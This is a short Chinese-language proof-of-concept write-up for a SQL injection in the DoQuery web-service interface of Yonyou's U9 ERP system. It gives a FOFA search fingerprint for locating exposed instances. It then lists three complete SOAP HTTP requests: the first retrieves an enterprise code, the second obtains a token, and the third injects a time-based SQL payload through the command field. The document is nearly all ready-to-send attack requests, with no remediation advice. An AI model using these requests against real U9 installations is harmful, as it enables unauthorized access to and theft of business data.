# 用友U9系统DoQuery接口存在SQL注入
|
||
|
||
用友u9 `DoQuery` 接口存在SQL注入，攻击者可通过该漏洞获取敏感信息。
|
||
|
||
## fofa
|
||
|
||
```yaml
|
||
body="logo-u9.png"
|
||
```
|
||
|
||
## poc
|
||
|
||
**第一步：获取code**
|
||
|
||
```yaml
|
||
POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
|
||
Host:
|
||
Content-Type: text/xml; charset=utf-8
|
||
Content-Length: 309
|
||
SOAPAction: "http://tempuri.org/GetEnterprise"
|
||
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||
<soap:Body>
|
||
<GetEnterprise xmlns="http://tempuri.org/" />
|
||
</soap:Body>
|
||
</soap:Envelope>
|
||
```
|
||
|
||
|
||
|
||
**第二步：获取token**
|
||
|
||
```yaml
|
||
|
||
POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
|
||
Host:
|
||
Content-Type: text/xml; charset=utf-8
|
||
Content-Length: 345
|
||
SOAPAction: "http://tempuri.org/GetToken"
|
||
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||
<soap:Body>
|
||
<GetToken xmlns="http://tempuri.org/">
|
||
<endId>000</endId>
|
||
</GetToken>
|
||
</soap:Body>
|
||
</soap:Envelope>
|
||
```
|
||
|
||
|
||
|
||
**第三步：SQL注入，token处填入上面获取的**
|
||
|
||
```yaml
|
||
POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
|
||
Host:
|
||
Content-Type: text/xml; charset=utf-8
|
||
Content-Length: 345
|
||
SOAPAction: "http://tempuri.org/DoQuery"
|
||
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
||
<soap:Body>
|
||
<DoQuery xmlns="http://tempuri.org/">
|
||
<token></token>
|
||
<command>select 1;waitfor delay '0:0:1' --</command>
|
||
</DoQuery>
|
||
</soap:Body>
|
||
</soap:Envelope>
|
||
```
